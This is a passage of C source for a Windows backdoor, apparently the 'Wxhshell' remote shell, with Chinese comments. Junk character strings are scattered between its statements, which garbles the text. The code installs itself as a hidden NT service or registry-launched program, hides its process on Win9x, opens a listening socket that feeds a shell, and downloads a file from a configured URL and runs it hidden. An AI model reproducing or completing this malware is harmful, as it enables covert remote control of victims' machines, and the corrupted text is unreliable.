OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w/W?/1P>q if(hProcess==NULL) return 0; ~EkGG
. 9+Bq00-Z$ HMODULE hMod; 58'y~Ou char procName[255]; H>X1(sh#} unsigned long cbNeeded; 7tKft f8jz49C if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L(P:n-^ 3v+}YT{>b CloseHandle(hProcess); G6mM6(Sr 2MzFSmhc" if(strstr(procName,"services")) return 1; // 以服务启动 Ki;5 =) <KPx0g?=b return 0; // 注册表启动 rB|:r\Z(jG } -+@~*$
d Awf=yE: // 主模块 8vo7~6yy int StartWxhshell(LPSTR lpCmdLine) ;OqLNfU3y { b=\3N3OX SOCKET wsl; n7.lF BOOL val=TRUE; NfN6KDd]2L int port=0; <%uZwk># struct sockaddr_in door; rWKLxK4oU \1D,Kx;Cb if(wscfg.ws_autoins) Install(); S%#Mu| sc>)X{eb port=atoi(lpCmdLine); u`,R0=<4 A_U0HVx_ if(port<=0) port=wscfg.ws_port; K
:ptfD N ] /d WSADATA data; 3"D00~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x+`3G. &`2*6
)qa if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [;8fL setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xb
1 ^Oj door.sin_family = AF_INET; z4:09!o_ door.sin_addr.s_addr = inet_addr("127.0.0.1"); pvxqeC9` door.sin_port = htons(port); W?Abx jF85bb$ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7B"aFnK;[J closesocket(wsl); |noTIAI return 1; $:Zxb } lfd{O7 L0b Z i&X ,K~ if(listen(wsl,2) == INVALID_SOCKET) { 3PeJPw closesocket(wsl); |]b/5s;> return 1; 8so}^2hTlT } q`zR 6 Wxhshell(wsl); wb"t:(>& WSACleanup(); {z
~
' n :kxG return 0; ~36XJ uoc-qmm } )@M|YM1+ me\)JCZpb{ // 以NT服务方式启动 5*Iz3vTq VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ')~HOCBSE { IWnW(>V DWORD status = 0; D"5~-9< DWORD specificError = 0xfffffff; T,@7giQg@ 0_izTke serviceStatus.dwServiceType = SERVICE_WIN32; e$I:[> serviceStatus.dwCurrentState = SERVICE_START_PENDING; -q|M=6gOs serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c3-bn # serviceStatus.dwWin32ExitCode = 0; Gl1$W=pR: serviceStatus.dwServiceSpecificExitCode = 0; Ia"
Mi+{ serviceStatus.dwCheckPoint = 0; $7g(-W serviceStatus.dwWaitHint = 0; ^@eCT}p{ zxHfQ( hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s#49pDN if (hServiceStatusHandle==0) return; 24l9/v' K*RRbtb status = GetLastError(); hUc|Xm if (status!=NO_ERROR) ?"Q6;np* { 5OE?;PJ( serviceStatus.dwCurrentState = SERVICE_STOPPED; ?q`mr_x%? serviceStatus.dwCheckPoint = 0; wO
NQlt serviceStatus.dwWaitHint = 0; ^r$5];n
serviceStatus.dwWin32ExitCode = status; $yJfAR serviceStatus.dwServiceSpecificExitCode = specificError; ga%77t|jm3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); CKgyv%T5m: return; wu'60po } izA3 INT {+}Lc$O#C serviceStatus.dwCurrentState = SERVICE_RUNNING; UQr+\ u serviceStatus.dwCheckPoint = 0; I!~Omr@P serviceStatus.dwWaitHint = 0; roQIP%h! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a)b@en;v }
mAKi%) L1K_|X // 处理NT服务事件,比如:启动、停止 > xw+2< VOID WINAPI NTServiceHandler(DWORD fdwControl) vi|ASA{V { U {v_0\ES switch(fdwControl) EQ-~e { ,oe4*b}O=. case SERVICE_CONTROL_STOP: L}nc'smvM serviceStatus.dwWin32ExitCode = 0; %VZ\4+8S serviceStatus.dwCurrentState = SERVICE_STOPPED; >48Y-w serviceStatus.dwCheckPoint = 0;
><^@1z.J serviceStatus.dwWaitHint = 0; 4 -W?u51" { h~t]WN SetServiceStatus(hServiceStatusHandle, &serviceStatus); UzXbaQQ2g } >dY"B$A> return; X_2I4Jz]6 case SERVICE_CONTROL_PAUSE: huE#VY
/t serviceStatus.dwCurrentState = SERVICE_PAUSED; " OtLJ break; Dr609(zg^ case SERVICE_CONTROL_CONTINUE: f}4h}Cq serviceStatus.dwCurrentState = SERVICE_RUNNING; hG]20n2 break; @"0qS:s]X case SERVICE_CONTROL_INTERROGATE: aleIy}" break; 2(|V1]6D? }; = %m/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); T@.CwV } u@Lu.t!], n\4+xZr // 标准应用程序主函数 -TWo-iu^ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .>e~J+oL { @P>@;S 7[\B{N9&W // 获取操作系统版本 `{":*V
OsIsNt=GetOsVer(); ufOaD7 GetModuleFileName(NULL,ExeFile,MAX_PATH); <j'#mUzd `P~RG.HO // 从命令行安装 nq;)!Wry if(strpbrk(lpCmdLine,"iI")) Install(); U_?RN)>j b04~z&Xv // 下载执行文件 V{r@D!} if(wscfg.ws_downexe) { A{vG@Pwc: if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E}u\{uY WinExec(wscfg.ws_filenam,SW_HIDE); B#}RMFIj } `JCC-\9T_ rO~D{)Nu if(!OsIsNt) { t30V_`eQ // 如果时win9x,隐藏进程并且设置为注册表启动 A(B2XBS!? HideProc(); as8<c4:v StartWxhshell(lpCmdLine); 2},}R'aR } s_N!6$tS else I{$|Ed1 if(StartFromService()) _ U\vHa$# // 以服务方式启动 sQvEUqy9 StartServiceCtrlDispatcher(DispatchTable); *V/SI E*8 else X}Lp!.i9o // 普通方式启动 RzkJS9)m StartWxhshell(lpCmdLine); ?/~1z*XUW
;L7<mU return 0; =}[V69a }
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